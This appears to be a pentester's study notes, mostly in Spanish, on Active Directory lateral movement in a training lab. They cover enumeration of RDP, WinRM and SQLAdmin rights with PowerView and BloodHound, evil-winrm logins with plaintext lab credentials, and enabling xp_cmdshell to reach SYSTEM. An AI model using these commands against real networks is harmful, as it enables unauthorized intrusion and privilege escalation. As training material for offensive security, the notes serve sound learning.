Privileged Access & Lateral Movement in Active Directory

Acceso privilegiado y movimiento lateral en un entorno de Active Directory.

Contexto

Tras obtener un primer foothold en el dominio, el objetivo es avanzar lateral o verticalmente hasta comprometer hosts adicionales o tomar el dominio.
Para esto podemos usar técnicas como RDP, WinRM, Pass-the-Hash, SQLAdmin, etc.


🔍 ¿Qué pasa si NO tenemos derechos de administrador local?

Incluso sin privilegios elevados podemos movernos lateralmente usando derechos como:

Estas rutas pueden encontrarse con:


1️⃣ Remote Desktop Protocol (RDP)

¿Por qué es útil RDP?

Permite acceder a la GUI de un host y desde ahí lanzar ataques, robar credenciales o escalar privilegios.

🔎 Enumerar usuarios con derecho a usar RDP

Con PowerView:

Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"

{3B86423A-D65D-4E7F-90F7-35C310082799}.png
Si aparece:

INLANEFREIGHT\Domain Users

➡️ Todos los usuarios del dominio pueden hacer RDP a ese host.

📊 BloodHound – Ver derechos RDP

  1. Buscar el usuario comprometido.

  2. Revisar Node Info → Execution Rights → CanRDP.

  3. También puedes ejecutar las queries:

    • Find Workstations where Domain Users can RDP

    • Find Servers where Domain Users can RDP

Pasted image 20251119172604.png

Importante

Muchos entornos tienen RDP habilitado para Domain Users sin darse cuenta → esto es un hallazgo crítico tanto para pentesters como para blue team.


2️⃣ WinRM (PowerShell Remoting)

Qué es WinRM

Protocolo que permite ejecutar comandos o iniciar una sesión interactiva en un host remoto usando PowerShell.

Pasted image 20251119174053.png
We can see that user forend is a member of this group and can use WinRM to remotely manage this host

🔎 Enumerar usuarios con derecho a WinRM

Con PowerView:

Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"

📊 BloodHound – Query personalizada (CanPSRemote)

Cypher para buscar usuarios con WinRM:

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

{126190C0-A708-489B-8E03-EC5ED9A8F3E3}.png
Bdavis canpsremote


▶️ Conectarse vía WinRM desde Windows

$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred

🐧 Conectarse vía WinRM desde Linux con Evil-WinRM

Instalación:

gem install evil-winrm

Uso:

evil-winrm -i 10.129.201.234 -u forend

3️⃣ MSSQL Server – SQLAdmin → SYSTEM 😈

SQL Server suele conducir a SYSTEM

Si puedes ejecutar comandos desde SQL, normalmente tienes SeImpersonatePrivilege, lo cual permite escaladas como:
JuicyPotato, RoguePotato, PrintSpoofer…

📊 Enumerar SQLAdmin con BloodHound

Cypher:

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) 
MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) 
RETURN p2

{816DC3B0-6832-4C31-AE43-656D3AAB9513}.png


📡 Enumerar MSSQL instances con PowerUpSQL

Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain

Ejemplo de resultado:

{89E2FF21-253D-4851-95B2-F43224B6512C}.png


▶️ Ejecutar consultas SQL

Get-SQLQuery -Instance "172.16.5.150,1433" `
-username "inlanefreight\damundsen" `
-password "SQL1234!" `
-query 'SELECT @@version'

mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth

Luego:

enable_xp_cmdshell
xp_cmdshell whoami /priv

{9DAE8027-5DF3-410F-938F-1E3C9EE7002A}.png
Si ves:

SeImpersonatePrivilege Enabled

➡️ Escalada a SYSTEM casi asegurada.


🧭 BloodHound – Visualización y rutas de ataque ACL

ACL: Control Access List

  • DACL → Qué usuarios/grupos tienen permisos

  • SACL → Qué acciones generan logs

  • ACE → Reglas individuales dentro de ACL
    BloodHound detecta ACE mal configurados que permiten ataques como:

  • ForceChangePassword

  • GenericAll

  • GenericWrite

  • AddMember

  • DCSync